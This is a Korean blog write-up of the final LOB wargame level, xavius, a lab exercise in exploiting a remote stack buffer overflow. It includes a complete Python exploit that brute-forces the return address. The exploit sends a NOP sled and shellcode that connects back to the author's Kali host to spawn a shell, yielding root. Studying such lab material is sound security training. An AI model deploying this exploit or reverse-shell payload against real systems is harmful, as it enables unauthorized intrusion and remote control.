본문 바로가기
Security/Pwnable

LOB Level20 xavius

by J0DEV 2021. 8. 10.
반응형

마지막 xavius 로 접속합니다.

 

 

우선 소스코드를 보면

 

40바이트 buffer가 선언되어있고

 

6666포트를 여네요

 

그리고

 

recv(client_fd, buffer, 256,0) 에서

 

40바이트 buffer에 256바이트를 저장하네요??

 

으잉?

 

오버플로우가 일어나는 코드네요.

 

 

우선 페이로드를 생각해보면

 

buffer 40 + ebf 4 + ret 4 + shellcode  입니다.

 

하지만 여기서 정확한 ret를 알수 없기 때문에 브루트 포싱해줍니다.

 

그런데

 

알고보니 로컬에서 사용하는 쉘코드와 원격으로 사용하는 쉘코드가 다릅니다.

 

 

원격으로 공격할때 로컬에서 쓰는 쉘코드는 동작하지 않습니다. 그 이유는 네트워크를 통해 쉘을 활성화 시켜 주어야 하기 때문입니다.

 

 

그래서 포트 바인딩 쉘코드를 사용할 건데

 

포트 바인딩 쉘코드는 연결된 네트워크의 포트를 통해서 쉘을 바인딩 해주는 역할을 합니다.

 

포트 바인딩 쉘코드 참고 블로그 - http://inhack.org/wordpress/?p=2502

 

 

 

 

 

 

exploit-db에서 자료를 가져오면 

여기서 알 수 있습니다.

 

PORT Binding shellcode - https://www.exploit-db.com/exploits/25497/

 

자 그럼 코딩을 해야 겠죠?

 

 

import socket
#소켓 프로그래밍 합시다....

#칼리 IP = 172.16.43.190      (0xac102bbe)
#포트 = 22222                 (0x56ce)
#바인드 쉘코드 출처 : https://www.exploit-db.com/exploits/25497/


buf =  ""
buf += "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
buf += "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
buf += "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
buf += "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
buf += "\xac\x10\x2b\xbe\x66\x68\x56\xce\x66\x53\xfe"
buf += "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
buf += "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
buf += "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
buf += "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
buf += "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
buf += "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
buf += "\x80"

#바인드 쉘코드

for i in range(255,0,-1):
    for j in range(1,256,1):
        sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect(('172.16.43.241',6666))
        #LOB IP, xavius 포트 하하하하하하하하하
        payload="a"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*(256-48-len(buf))+buf
        #망할 바인드 코드 때문에 삽질... buf 40 + ebp 4 + 0xbfff???? + \x90*(256-48-바인드쉘코드길이) + 바인드 쉘코드
        #어딘가에 있을 \x90을 찾아 떠나는 브루트포싱 ~
        #0xbfffff01~0xbfffffff~0xbffffe01~0xbfff00ff
        sock.send(payload)
        sock.close()

 

그리고 코딩한 파일을 칼리리눅스로 옮겨줍니다.

 

(맥에서는 nc로 포트를 여는게 안되네요...)

 

그리고 22222포트를 열어서 기다려줍니다.

 

 

 

 

 

열어주고 난 후, 작성한 익스플로잇 코드를 실행시키면!

 

 

 

연결이 됩니다.

 

 

 

 

root의 권한을 가지게 되었습니다.!

 

이렇게 LOB도 전부 다 풀게 되는군요 ㅠㅠ

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

Frame Pointer Overwriting  (0) 2021.08.10
RTL이란? (Return to Library)  (0) 2021.08.10
LOB Level 19 nightmare  (0) 2021.08.10
LOB Level 18 succubus  (0) 2021.08.10
LOB Level 17 zombie_assassin  (0) 2021.08.10